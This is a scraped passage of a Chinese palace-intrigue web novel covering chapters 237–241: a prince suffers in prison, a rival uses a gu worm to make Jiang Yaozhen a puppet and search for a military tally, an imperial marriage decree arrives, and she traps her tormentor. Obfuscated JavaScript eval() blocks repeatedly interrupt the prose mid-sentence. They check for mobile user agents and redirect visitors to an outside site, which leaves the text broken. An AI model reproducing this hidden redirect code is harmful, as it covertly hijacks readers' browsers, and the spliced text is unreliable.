她强压下怒火,声音却越发尖锐,带着几分赌气的意味:“好!那妾身往后便再也不来打点这些狱卒了!妾身倒要看看,没有银钱打点,殿下能否在这牢中熬到刑满释放!” 丢下这句狠话,她再不看萧修湛一眼,拂袖而去。 萧修湛何曾被她如此对待过? 望着她离去的背影,他越想越怒,猛地一脚踢开地上那碗牢饭,大声嘶吼道:“来人!给本王换些像样的吃的!这饭菜如此寡淡,让本王如何下咽?” 轮值的狱卒听到动静,慢吞吞地走到牢房前,脸上带着几分不屑与嘲讽:“大理寺的牢饭都是这般模样,您就将就着吃吧!谁让瑞王殿下不知好歹,得罪了景王殿下呢?能吃上饭,已经算您走运了!” 这话愈发激怒了萧修湛,他气得脸色铁青,双目几欲喷火。 “本王犯再大的罪,也是王爷!你们这些**狱卒,给本王吃的都是些什么东西?还不快换些像样的来?还有,皇兄只是让你们关着本王,可没让你们**本王!这地牢脏成这般模样,像话吗?等本王刑满回府,看我不找人弄死你们!” 狱卒被他吵得头疼,面上虽不耐,却也不敢真惹怒这位落魄的王爷,只得转身去禀告大理寺卿。 大理寺卿听完禀报,揉了揉额角,沉声道:“这瑞王自幼锦衣玉食,哪里受得了牢狱之苦。罢了,给他弄些像样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大夫不得不用烧得通红的银针为他一处处挑破脓包,挤出毒液,再敷上药膏。 这无疑又是一场残酷的身心折磨。 “若是故意折磨三哥,那就只有景王会做此事了。”萧怀瑾神色阴沉,“除了四哥,没有人如此阴毒。” 看来,那日与皇兄商议的法子,必须尽快提上日程了。 若再任由萧凌川如此肆意妄为,下一个遭萧凌川毒手的,很可能就是他了! 第237章 种蛊虫 第二百三十七章种蛊虫 姜瑶真在家熬了几天,实在受不了,便带着婢女春花,风尘仆仆地从瑞王府回到娘家。 虽身为庶女,她往日里在相府从未受过半分物质亏待,可如今瑞王萧修湛身陷囹圄,瑞王府的日子清苦得让她难以忍受,远不如娘家的锦衣玉食来得舒心。 晚膳桌上,摆满了色香味俱全的佳肴,姜瑶真胃口大开,心中不由生出长住娘家的念头。 她正欲开口试探,却见姜丞相神色冷峻,目光如刀般扫来,语气冰冷得不容置喙:“你如今已是嫁出去的女儿,瑞王虽身陷大牢,可瑞王府终究还在。你回门探亲,为父与你母亲自是欢迎,但若想长住于此,断然不可!” 姜瑶真闻言,手中筷子微微一顿,脸上浮起几分不悦与委屈。 “爹爹这话何意?如今瑞王没了俸禄,府中收入又被他那舅舅尽数拿走,女儿若不回娘家,怕是要活活饿死在瑞王府了!爹爹难道忍心看着女儿受苦? 还是说,爹爹偏心,只疼姐姐?她下毒害**三妹,如今被劫狱逃了罪责,爹爹却连半句责骂都不舍得说!我不过回娘家吃顿饭,爹爹便要赶我走!” “你胡说!”姜丞相双目圆睁,须发几乎要立起来,咬牙切齿道,“你姐姐怎会**?分明是你设计陷害她!” 他想起前几日二弟夫妇为姜莲之死上门大闹的情景,至今心有余悸。 那场风波好不容易才靠赔礼道歉与诸多财物平息下来,可他怎么也无法相信,自己一手养大的女儿,竟会如此心狠手辣,用堂妹的性命来谋害亲姐姐! 姜瑶真冷笑道:“姐姐有没有**,可不是爹爹说了算!按大邺律法,人证物证俱全,她就是死罪!若她真无辜,景王何必冒着风险劫狱?” “你——住口!”姜丞相气得脸色铁青,手指颤抖地指向她,怒声道,“老夫没有你这样的女儿!给我滚出去!” 正厅内的气氛霎时剑拔**张,空气仿佛凝固了一般。 就在这僵持之际,姜天泽走了进来,脸上挂着惯常的温润笑意:“二姐姐好不容易回趟娘家,父亲何必动这么大的气?不如先坐下,把饭吃完再说吧!” 他这一番话,硬生生将厅内的紧张气氛压下几分。 姜丞相冷哼一声,勉强坐回椅子上,姜瑶真也撇了撇嘴,重新拿起筷子,却仍是一脸不忿。 姜瑶真低头夹菜,心中却对姜天泽这突如其来的和善态度感到一阵莫名的别扭。 这位堂弟素来只对大姐姐姜姝宁亲近有加,对她这个二姐姐向来冷淡,甚至厌恶,今日怎的如此殷勤? 她不动声色地抬眼打量他,试图从他那张清俊无害的面容中窥出几分端倪。 姜天泽却似浑然不觉,笑得温和,亲自为她夹了一筷子晶莹剔透的翡翠虾仁,语气关切:“二姐夫入狱后,二姐姐在瑞王府定是受了不少苦。府中的厨子手艺不赖,二姐姐多吃些,补补身子!” 姜瑶真看着碗中的菜,眉头微皱,心中那股怪异感愈发浓重。 她强挤出一抹笑,敷衍地点了点头,却在心底暗暗警惕:这姜天泽,葫芦里究竟卖的什么药? 一餐饭在暗流涌动中结束,姜瑶真带着婢女春花,径直回到了自己出嫁前居住的绮丽院。 春花一边为她收拾床铺,一边忍不住小声议论:“王妃,您瞧今日三少爷待您可真客气!看来这大小姐一走,他心里便开始向着您了!” 姜瑶真闻言,唇边勾起一抹冷峭的讥讽:“哼,那狼崽子心思深沉得很。无事献殷勤,非奸即盗。谁知道他那温和的笑脸下,藏着什么害人的心思!” 话音刚落,她脸色倏地一变,一股突如其来的剧痛猛地从她腹部传来,像是有一把烧红的铁钩在狠狠地绞动她的五脏六腑。 想起晚膳时姜天泽那过分殷勤的态度,以及他一次次将菜夹入她碗中的举动,一个可怕的念头电光火石般击中了她—— 这狼崽子,竟然敢给她下毒! 求生的本能让她毫不犹豫地将手指探入喉咙深处,拼命地抠挖,试图将腹中的东西全部吐出来。 “王妃!您怎么了?!”春花被她突如其来的举动吓得脸色煞白。 姜瑶真吐出了一堆秽物,可腹中那撕裂般的绞痛却丝毫没有缓解。 难道……不是毒? 就在这时,一个更为恐怖的猜测蹿入脑海,她猛地抓住春花的手腕,用尽全身力气,从牙缝里挤出几个字:“快……快去取雄黄酒来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017622|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是,王妃!”春花被她眼中的绝望吓住,不敢多问,转身就要跑。 “站住!”姜瑶真又死死拉住她。 她强撑着最后一丝清明,嘴唇因剧痛而发白,声音嘶哑却带着不容置疑的命令,“记住,无论如何……一定要想办法让我把雄黄酒喝下去!” “奴婢知道了!”春花说完,连滚带爬地冲了出去。 春花的身影刚消失在门口,姜瑶真便再也支撑不住,眼前一黑,整个人重重地栽倒在冰冷的地板上,不省人事。 等她再次醒来,眼中已经剩下一片茫然。 她缓缓起身,往院外走去。 姜天泽就在绮丽院外等她,看到她,笑着对她道:“走吧,二姐姐,我们去一趟景王府。让景王看看你这幅中蛊的模样!” 姜瑶真眼神空洞,仿佛被抽干了灵魂,只听话地点了点头:“是,要去景王府……” 等春花提着雄黄酒冲回绮丽院时,姜瑶真早已不见踪影。 她心头一沉,连忙抓住院中一个洒扫的粗使丫头,声音因焦急而颤抖:“王妃呢?她去哪儿了?” 那丫头怯生生地答道:“奴婢方才看到,王妃和三少爷一同出门了。” “和三少爷?” 入夜了,王妃方才还那般痛苦,怎么会跟三少爷出门? 她脑海中猛地闪过姜瑶真痛到扭曲的脸,和那句嘶哑的、不容置疑的命令——“无论如何,一定要想办法让我把雄黄酒喝下去!” 难道王妃早料到三少爷对她做了什么,所以才这般嘱咐自己的? 与此同时,夜色深沉的景王府书房内,烛火摇曳,映着一室的奢华与冰冷。 萧凌川正准备就寝,听闻姜天泽深夜求见,眉宇间掠过一丝不耐:“大半夜的,他来做什么?” 侍卫凌风躬身禀报:“回王爷,姜三公子是带着瑞王妃一同前来的。只是……那瑞王妃的神情十分诡异,眼神空洞,像是失了魂魄一般。” “哦?”萧凌川眼中的不耐瞬间被一抹玩味的、残忍的笑意取代。 他唇角勾起一个愉悦的弧度:“让他们进来!” 看来姜天泽没让他失望,成功在姜瑶真身上种了蛊虫! 第238章 憎恶比爱恋更深刻 第二百三十八章憎恶比爱恋更深刻 景王府的书房内,烛火摇曳,映得萧凌川的面容忽明忽暗。 姜天泽带来的姜瑶真如一尊没有生命的雕塑,双眸空洞,仿佛周遭的一切都与她无关。 萧凌川眉头紧锁,眼中是毫不掩饰的轻蔑与失望。 “本王要的是一颗能用的棋子,她这副模样,能为本王办什么事?” “王爷,二姐姐能为您做的事,比您想象的要多得多。”姜天泽转向姜瑶真,命令道,“二姐姐,夜色正好,给王爷跳支舞吧!” 话音落下,姜瑶真身体开始舒展,空洞的眼眸依旧茫然,四肢却以一种诡异的流畅感舞动起来。 她跳的正是南月特有的舞蹈,每一个旋转、每一次扭腰,都极其妩媚大胆。 萧凌川眼中最初的失望渐渐被一抹阴冷的惊异所取代。 没想到蛊术中最低阶的傀儡术,也能将人控制到如此精妙的地步。 他看向姜天泽的目光变得锐利起来:“你能否操控她,回瑞王府为本王拿一样东西?” 姜天泽脸上浮起一丝为难:“不瞒王爷,此术的施展有所限制。若母蛊与子蛊相隔太远,我便无法感操控宿主。至于这距离究竟是多远……我也说不好,毕竟离得远了,我也看不见二姐姐,无法确定她是否仍在我的掌控之中。” “是么?”萧凌川冷笑一声,语气中的命令意味不容置喙,“那便立刻给本王测出来!凌风!” “属下在!” “把门打开,让瑞王妃就这么一路跳出去。你跟在旁边,给本王看清楚,她究竟跳到哪里,才会自己停下来!” “是,王爷!”凌风领命,立刻去敞开了正厅通往庭院的大门。 姜瑶真果然像个不知疲倦的舞伶,身姿摇曳地从书房一路跳到了庭院之中,在清冷的月光下继续着她那诡异而妩媚的舞蹈。 这离奇的一幕,很快被府中值夜的下人目睹,窃窃私语声在暗处悄然响起。 与此同时,萧凌川的寝殿内,姜姝宁白日里因病昏睡了太久,此刻她只觉得难以入眠。 见凌芜在床边趴着睡熟了,满脸疲惫,她不忍心吵醒,便自己悄悄披了件外衣,想出去透透气。 刚一走出寝殿,她便被不远处庭院中的景象攫住了目光。 月华如水,一个窈窕的身影正在翩翩起舞。 那舞姿……她几乎是瞬间就认了出来,正是姜瑶真在赏菊宴上跳的那支舞! 前世姜瑶真便是凭借这一支独特的舞蹈,让包括萧凌川在内的皇子们对她一见倾心。 难道,是姜瑶真? 姜姝宁心头一紧,下意识地朝那身影走去,同时将自己隐入廊柱的阴影中。 夜深人静,那些聚在一起看热闹的下人并未发现她,正肆无忌惮地议论着。 “那不是瑞王妃吗?大半夜的,怎么跑到咱们景王府来跳舞了?啧啧,你们瞧那身段,那舞姿……可真是够大胆的!” “还能为什么?瑞王如今还在大牢里半死不活呢,听说瑞王妃日子过得苦不堪言。这怕不是走投无路,来咱们王爷面前献舞,想讨个恩典吧?” “就凭一支舞,也想给瑞王求情?还是想给自己谋条出路啊?” “嘿,我看是后者……毕竟,咱们王爷可比那废了的瑞王强太多了……” 下人们暧昧的嗤笑和揣测,如同一根根淬了毒的冰针,狠狠扎进姜姝宁的耳中。 她僵立在原地,夜风吹拂着她的面颊,她只觉得那刺骨的寒风仿佛穿透了皮肉,直接吹进了她的心里,将最后一丝暖意也彻底冻结。 萧凌川不止一次信誓旦旦说自己对姜瑶真只是利用,并无男女之情。 每次提起姜瑶真,他眼中也确实是憎恶而非爱恋。 可在姜姝宁眼中,他每一次对姜瑶真的利用与报复,都像是在他与她之间亲手缠上了新的牵绊,最终将彼此都锁死在这场无尽的纠缠里。 或许**,憎恶这种情感,有时候比爱恋来得更加深刻、长久。 —— 姜瑶真在离姜天泽五百步远之后,便不受控制了。 测试的结果让萧凌川不太满意。 瑞王府占地颇广,要在偌大的府邸中精准地寻找一样东西,区区五百步的控制范围,无疑是杯水车薪。 一旁的姜天泽却适时开口:“王爷,此事不难。只需寻个由头,让我以探望堂姐的名义暂住于瑞王府中,便可贴身操控,为王爷找出所需之物。” “这倒不失为一个办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凌风结结巴巴道:“回、回王爷,属下查到……姜三爷二十多年前流连烟花之地,身子已经被掏空,怕是早就……无法令女子有孕。所以这姜天泽,极有可能……并非姜家的亲生骨肉。” 萧凌川眼中是浓得化不开的占有欲与阴鸷:“难怪他敢觊觎本王的王妃,想来是早就知道自己的身世。传令下去,从今往后,绝不许姜天泽再与王妃单独相见!” “是,王爷!”凌风心头一凛,“此事……属下即刻便去告知凌芜,让她务必盯紧了!” “甚好。”萧凌川的眼中闪过一丝暴戾的寒光。 任何胆敢觊觎他掌中之物的,哪怕是头恶狼,他也决不轻饶! 第239章 赐婚 第二百三十九章赐婚 姜姝宁失魂落魄地回到寝殿,身体里的寒气仿佛从骨头缝里渗出来,怎么也驱不散。 凌芜被惊醒,见她只披着一件单薄的外套,肩头还落着几点未化的碎雪,顿时急得从脚踏上跳了起来:“王妃!您大病未愈,怎么能跑到外面去吹风!” “凌芜……”姜姝宁径直走到床边,将自己紧紧裹进被褥里,牙齿却依旧控制不住地上下打颤,“把屋里的炭火……烧得再旺些,我好冷。” 那种冷,不是源于肌肤,而是发自肺腑,穿心刺骨。 或许,应当称之为“心寒”。 “奴婢这就去给您取个汤婆子来!” 凌芜刚一拉开门,便撞上了一堵无形的气墙。 萧凌川正静静地立在廊下,一身夜露的寒气,眼神却幽深得像一团火。 凌芜连忙屈膝行礼:“王爷!” “要去何处?”他淡淡地问,目光却已经越过她,落在了内室那团把自己裹成茧的身影上。 这么怕冷,是病还未好? “回王爷,王妃说她怕冷,奴婢想去为她取个汤婆子……” “不必了。”萧凌川打断了她,“你退下吧,守好门,不许任何人打扰。” “……是,王爷。”凌芜心中一紧,不敢多言,只得悄然退下,并轻轻带上了门。 殿内,最后一丝属于旁人的气息也消失了。 姜姝宁一想到方才在庭院里看到姜瑶真跳舞的场景,下意识背过身子。 她有些排斥萧凌川的靠近。 萧凌川毫无察觉,他兀自慢条斯理地宽衣解带,吹熄了多余的烛火,只留下一盏昏黄的角灯。 床榻微微一沉,他高大而滚烫的身躯便从身后贴了上来,灼人的体温如烙铁般印上她冰冷的脊背。 姜姝宁浑身一僵,把自己裹得更紧了。 “本王有个好消息要与王妃分享。”他滚烫的呼吸喷在她的颈侧,声音里是毫不掩饰的、近乎残忍的兴奋,“萧修湛的牢里,被人‘不慎’放进去了几百条毒虫。如今他浑身溃烂,与死狗无异,真正是生不如死。仇人这般下场,王妃……可还满意?” 姜姝宁没有说话。 她只是觉得更冷了,那股寒意几乎要将她的血液冻僵。 他是如何一边和姜瑶真纠缠不清,一边若无其事和自己虚情假意的? 萧凌川对她的抵触一无所知,他收紧手臂,将她完全圈禁在怀中,下意识地摩挲着她的双臂:“本王抱得这般紧,王妃怎么还觉得冷?” 他的碰触让她感到一阵生理性的恶寒。 “用这种阴毒的手段折磨一个废人,王爷觉得很有趣么?”姜姝宁终于开口,声音僵硬得像冰棱,“你还不如一刀杀了他,来得痛快。” “别急。”萧凌川低笑一声,胸腔的震动清晰地传到她的背上,“他还不能死。待本王拿到那枚能调动他西榆私兵的虎符,再取他性命也不迟!” 虎符…… 原来如此,今夜姜瑶真来景王府,是和他达成了某种交易或者约定。 也难怪,无论前世今生,他对姜瑶真总是这般“念念不忘”,因为她总能为他带来最实际的利益。 不想自己,于他而言,只是个偶尔能满足他口腹之欲、在枕席之间供他取乐的玩物罢了。 萧凌川又低声唤了她几声,见她始终不语,以为她是睡着了。 “小没良心的,这种时候竟也能睡得着。” 他强压下滚烫炙热的欲念,将她抱得更紧,仿佛要将她揉进自己的骨血里…… —— 第二日清晨,凌风便匆匆来报:“王爷,宫里来圣旨了!” 姜姝宁听到这话,下意识一惊。 对她这样一个从天牢被劫出、藏匿于此的钦犯而言,任何风吹草动都能让她紧张。 “待在殿内,别出来。”萧凌川安抚道,“本王的寝殿,没人敢窥探。” 他说罢,便迅速起身更衣,大步流星地向外走去。 王府前厅,所有下人早已黑压压地跪了一地。 传旨的太监章和,曾是东宫太子萧政贤跟前最得脸的内侍,此刻正皮笑肉不笑地立着,手中明黄的卷轴显得格外刺眼。 他尖着嗓子,不阴不阳地高声宣读:“奉天承运,皇帝诏曰:闻景王贤明,为固国本,安社稷,朕心甚慰。今特赐霍、王、崔、赵四家贵女为景王侧妃,择吉日完婚,以充盈王府,开枝散叶。钦此——!” 最后一声“钦此”落下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜姝宁再次笑了,神色有些意味不明:“我算哪门子的王妃?没有三书六礼,没有昭告天下,不过是景王爷囚在这座牢笼里,一件见不得光的摆设罢了。” 这话让凌芜心中一阵难过。 “王妃,若您心里难受,便哭出来吧,不要这样憋在心里。” “傻丫头。”姜姝宁反手轻轻拍了拍她的手背,“我心里一点也不难受,我高兴还来不及呢。” 等那些名正言顺的侧妃进了门,萧凌川便再没有理由将她继续困在这里了。 对一个囚徒而言,还有什么,比重获自由更值得高兴的呢? 第240章 有她一人,此生足矣 第二百四十章有她一人,此生足矣 萧凌川携着一身风雪与怒火,直奔皇宫。 刚刚听闻赐婚一事的七王爷萧琪钰,在宫门口堪堪追上他。 见他满脸杀气地直奔御书房,萧琪钰一颗心顿时提到了嗓子眼:“四哥,你这是要做什么?冷静些!” “冷静?”萧凌川从牙缝里挤出两个字,步履未停,“他都把刀架在本王脖子上了,还让本王如何冷静!” 御书房外,御前侍卫见他这副煞神般的模样,立刻上前横刀阻拦:“景王殿下,请解下佩剑!” 萧凌川倏然顿步,冷冽的目光如刀子般刮过他们:“你们怕本王弑君?” 那迫人的威压让侍卫们冷汗涔涔,为首的一人硬着头皮道:“王爷息怒,此乃宫规,我等亦是奉命行事……” “可笑。”萧凌川嗤笑一声,解下佩剑,随手扔在他们脚下,金属落地的清脆声响,敲在每个人心头上,“本王若真有此心,何须佩剑?” 此言一出,侍卫们愈发惊恐。 萧琪钰连忙上前打圆场:“我四哥说笑的!诸位莫要当真!” 心中却叫苦不迭:我的好四哥,皇兄本就忌惮你,你何必再说这种吓人的话! 萧凌川大步踏入御书房,神色冰冷地拱手行礼:“臣萧凌川,见过陛下。” “臣弟萧琪钰,见过皇兄。”萧琪钰紧随其后,气喘吁吁。 御座上的萧政贤看到萧凌川时,眼神明显一紧,待看到后面跟着的萧琪钰,才稍稍松弛了几分,故作平静道:“四弟、七弟免礼。今日前来,所为何事?” 萧凌川根本不屑于虚与委蛇,他上前一步,将那道明黄的圣旨“啪”地一声摔在御案上,力道之大,震得笔架都跳了一下。 “陛下不该给臣一个解释吗?” 萧政贤的脸色瞬间沉了下去,但很快又恢复了帝王惯有的从容:“朕为弟弟的子嗣大事操心,为景王府的未来考量,赐婚的对象也都是名门贵女,四弟还要朕如何解释?” “陛下的手,未免伸得太长了些。”萧凌川咬牙切齿,字字如冰。 “放肆!”萧政贤终于撕下了温情的面具,拍案而起,“萧凌川,你别忘了,朕是君,你是臣!难道朕连给你赐婚的权力都没有吗?” “若臣非要抗旨呢?” 话音落下,整个御书房的空气仿佛都凝固了,杀机四伏。 一旁的萧琪钰急得满头是汗,疯狂对萧凌川使着眼色,可后者却视若无睹,如一尊顽石般与御座上的皇帝对峙。 萧政贤忽然冷笑起来:“抗旨?景王,你当真以为朕不敢动你?平日给你三分薄面,你还真把自己当成个人物了!” 他缓缓坐下,身体前倾,目光如鹰隼般死死锁住萧凌川,“你以为朕不知道,你私下与南月勾结之事?仅此一项,朕便能将你满门抄斩!” 此言一出,不啻于平地惊雷! 萧琪钰大惊失色,本能地辩解:“皇兄!这绝无可能!四哥他……他怎会与南月勾结!您忘了,当初南朔城一战……” “住口!”萧政贤厉声打断他,目光转向萧凌川,冰冷而残酷,“他若没有勾结,那枚南月皇室的信物玉牌,又怎会在他手上?姜姝宁当初交给皇后的那枚是假,而真品,就在他手里!那枚南月玉牌是南月皇室之人持有的信物,他一个大邺王爷,要那种东西做什么?” 萧琪钰难以置信地回头望向萧凌川:“四哥……陛下所言,可是真的?” 对上他的目光,萧凌川的心猛地一沉。 前世,他向南月借力时,萧琪钰的话犹在耳边: “勾结外敌,是为不忠;图谋国土,是为不义!如此不忠不义之途,已非我萧琪钰所能追随的道!” 萧琪钰丢下这句话,便与他渐行渐远。 从此他失去了唯一一个真心待他的兄弟。 萧凌川缓缓敛下眼睫,再抬起时,已是一片深不见底的平静,他迎上萧琪钰的目光:“本王没有勾结南月。” 萧琪钰明显松了一口气:“我就知道四哥不会做这种事!” 萧政贤见状,脸色沉了沉:“七弟,他说什么你便信什么?你就不怕他是在骗你?” “皇兄说笑了,”萧琪钰转过身,对着萧政贤不卑不亢地一拱手,“臣弟人微言轻,母族也无甚势力,四哥有什么可图我、骗我的呢?我自然信四哥。” 他这番话说得斩钉截铁,又扭回头,给了萧凌川一个全然信赖的眼神。 见他们兄友弟恭的模样,萧政贤心里不是滋味。 明明自己也是萧琪钰的兄长,为何他从来都不和自己亲近? 这萧凌川总觊觎自己的皇位,他不信七弟看不出来! 他将心头那股无名火压下,脸上又恢复了帝王的威严:“此事朕自有定论。但赐婚之事,不仅是朕的意思,也是先帝的遗愿!景王,朕给你两条路:要么,老老实实接旨,迎娶四位侧妃;要么,就立刻出京城,回你的封地去,无诏不得返京!” 萧琪钰连忙道:“皇兄,四哥愿意迎娶门阀之女为侧妃,他愿意的!” 说完,便死死拽住萧凌川的衣角,拼命使眼色,拉着他告退。 一路上,萧凌川一言不发,周身的气压低得仿佛能滴出水来。 萧琪钰默默地将这位煞神领回了自己那座由皇帝御赐、尚未有封号的府邸里。 刚一进门,屏退左右,萧凌川便冷声开口:“现在,可以解释你为何要自作主张了?” “四哥息怒!这事我们先坐下慢慢聊!”萧琪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025308|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钰一边赔着笑,一边手脚麻利地亲自沏了壶热茶,倒了一杯递过去,“来,四哥,先喝口茶润润喉,听我慢慢给你分析!” 萧凌川一把接过茶杯,仰头便一饮而尽,然后将空杯“啪”地一声放在桌上。 “说!” 萧琪钰看着那空空如也的茶杯,顿时哭笑不得。 四哥,您是有多着急啊? 他敛了敛眸,收起嬉皮笑脸,正色道: “四哥,我知道你不愿娶侧妃,一为嫂嫂,二为你最厌恶被人拿捏。可是四哥,你有没有想过,嫂嫂的处境已是悬崖百尺,稍有不慎,便是万劫不复! 景王府私藏钦犯,这是重罪!皇兄为何至今不动手?不过是投鼠忌器,顾忌着皇后和姜丞相罢了!可帝王的耐心是这世上最靠不住的东西,一旦他找到由头,第一个要抄的,就是你景王府!” 萧凌川的怒气并未消散,只是化作了森然的冷意,他盯着萧琪钰:“所以,你就让本王饮鸩止渴?” “不!这不是鸩酒,这是解药!也是一道护身符!”萧琪钰连忙道,“只要这四位门阀贵女入了府,景王府就不再是你一个人的府邸!皇兄他再想动你,就得先掂量掂量,同时得罪四大门阀的后果!这四位贵女,就是给你、也是给嫂嫂,砌起的一道铜墙铁壁!” 萧凌川摩挲着冰冷的茶杯,眸光微动。 这一层倒是他从前没想过的。 萧琪钰看出了他神色的松动,继续道: “四大门阀想把女儿塞进来当眼线、当掣肘你的棋子,可若他们送来的,是他们最疼爱的嫡女,那四哥你便能用这些金枝玉叶,反过来钳制他们整个家族的命脉!” 萧凌川神色微沉:“所以,本王不仅要接受赐婚,还要娶到各门阀中身份最尊贵的嫡女,才能赢得这一局?” “四哥英明!”萧琪钰端起茶杯,“七弟以茶代酒,敬四哥一杯!” 萧凌川没举杯,桃花眸中神色晦暗。 “本王此生,有姝宁一个女人便足矣。” 前世如此,今生亦然。 萧琪钰在心中叹了口气。 四哥对嫂嫂的这份深情,连他这个局外人都为之动容。 只可惜,在如今这盘生死棋局上,容不下太多的深情。 为了大局,这亲手打破兄长誓言的“恶人”,今日,便由他来当吧。 “四哥,只要你的心,你的人,都只属于嫂嫂一人,那些侧妃于你而言,与府中那些名贵的花瓶摆设,又有何异?况且……”他狡黠一笑,“四哥难道不想看嫂嫂吃醋的模样吗?” 听到这话,萧凌川晦暗的眼底终于掠过一丝波澜。 他缓缓端起茶杯,与萧琪钰的杯子轻轻一碰他端起茶杯跟萧琪钰碰了碰:“就依你!” 第241章 残忍的少年 第二百四十一章残忍的少年 春花一踏入瑞王府,便感到一阵难以言喻的诡异。 王妃竟回来了? 她穿过庭院,只见自家王妃正站在瑞王的书房内,像一具没有灵魂的木偶,双目空洞,面无表情地翻找着什么。 而不远处,姜家三少爷姜天泽正闲适地品着茶,眼神却像训鹰人盯着猎物一般,一瞬不瞬地锁在王妃身上。 春花的心猛地沉了下去。 “王妃,您何时回府的,怎也不遣人跟奴婢说一声?”她试探着开口。 姜瑶真毫无反应,仿佛根本听不见她的声音,继续着手上的动作。 “王妃在寻要紧的东西,你一个婢女,这般没眼色地来打搅?”姜天泽放下茶杯,踱步过来,语气冰冷,“退下。” “是,三少爷。”春花垂下眼帘,掩去眸中翻涌的惊涛骇浪。 不对劲,王妃绝对不对劲! 定是这三少爷搞的鬼! 她恭顺地退到门外,立刻对守门的小丫鬟低声耳语了几句。 很快,那小丫鬟便开始殷勤地、一趟又一趟地为姜天泽添水换茶。 几壶热茶下肚,姜天泽没忍住,起身去了一趟净房。 他前脚刚走,春花后脚便端着一壶早已备好的雄黄酒冲了进去,一把扼住姜瑶真的下颌,也顾不得尊卑冒犯,将那辛辣的酒液猛地灌了进去! 诡异的是,被如此粗暴对待的姜瑶真竟毫无挣扎,任由那酒水悉数滑入喉中。 下一刻,她便剧烈地干呕起来,俯身吐出一滩秽物。 而在那污浊之中,一条通体漆黑、仍在微微蠕动的长虫,显得格外触目惊心! 春花吓得脸色煞白:“天……天哪!这是什么鬼东西?” 就在这时,地上的人缓缓抬起了头,那双原本空洞的眸子,一点点清明起来。 “春花……”姜瑶真的声音沙哑,带着一丝初醒的茫然,“我……怎么会在这里?” 她不是回相府了吗? “王妃!您终于醒了!”春花喜极而泣,连忙上前扶起她。 姜瑶真目光落在地上那条蠕动的黑虫上,脑中瞬间闪过几日前晚膳桌上,姜天泽为她布菜时的殷勤笑脸。 刹那间,所有的茫然都褪去,取而代之的是蚀骨的冰冷与狰狞的恨意。 “姜天泽,你这狼崽子,竟敢对本宫下蛊!” “王妃,三少爷就快回来了!我们该怎么办?”春花急道。 “慌什么。”姜瑶真眼中掠过一抹狠戾的冷光,“把这里收拾干净,装作什么都未发生。” “本宫倒要看看,他费尽心机控制我,究竟想从这瑞王府里找出什么东西来!” 姜天泽从净房回来时,书房内一片狼藉,书卷竹简散落一地。 他要的东西,显然还没找到。 他有些不耐地“啧”了一声,目光阴冷地扫过依旧在翻找的姜瑶真:“罢了,看来东西不在书房。二姐姐,这瑞王府可有密室?瑞王视若性命的虎符,应该会藏在那种地方。” “虎符”二字,如同一道惊雷,在姜瑶真心中炸响! 他要的,竟是能调动瑞王西榆私奔的兵符? 他一个年仅十六的少年,图谋这等要命的东西做什么?! 难道他在为萧凌川做事? 一瞬间,新仇旧恨涌上心头! 她想起自己过去对他们母子的小心示好与拉拢,他们不为所动,转头便与她不共戴天的死敌萧凌川联手,企图动用萧修湛的私兵! 真是好样的! 姜瑶真缓缓转身,眼底的滔天恨意被完美的木然与茫然所覆盖,像一具听话的提线木偶,迈开脚步,缓缓朝门外走去。 姜天泽见她似乎有了指引,毫不怀疑地跟了上去。 他看不见的是,走在前面的姜瑶真,在无人察觉的暗处,唇角勾起了一抹冰冷而残忍的弧度。 密室? 这瑞王府里,确实有一间“密室”,正好能将这自以为是的狼崽子困住! 她心中冷笑:只要这头狼崽子落入我手,还怕他那位身为南月毒师的母亲,不乖乖为我所用么? 姜瑶真领着姜天泽,沿着湿滑的石阶一路向下,阴冷潮湿的空气扑面而来,带着铁锈与腐朽混合的恶臭。 这里是瑞王昔日用来拷问仇敌的私牢,自他入狱后,便无人来打理,此时更是阴森无比。 姜天泽非但没有半分恐惧,反而饶有兴致地打量着墙上的刑具,啧啧称奇:“没想到二姐夫还有这等手笔,这密室还真是个好地方。” 言语间,满是对这座牢狱的欣赏。 姜瑶真在心里冷笑,待会就让你在这个好地方待着! 她完美地避开了那些隐蔽的机关,将身后的少年一步步引入陷阱。 终于,在姜天泽踏上牢房正中央那块颜色稍深的石板时,她缓缓转过身,迎着姜天泽疑惑的目光,猛地将手拍向墙壁上一块凸起的龙头石雕! “轰——隆!”

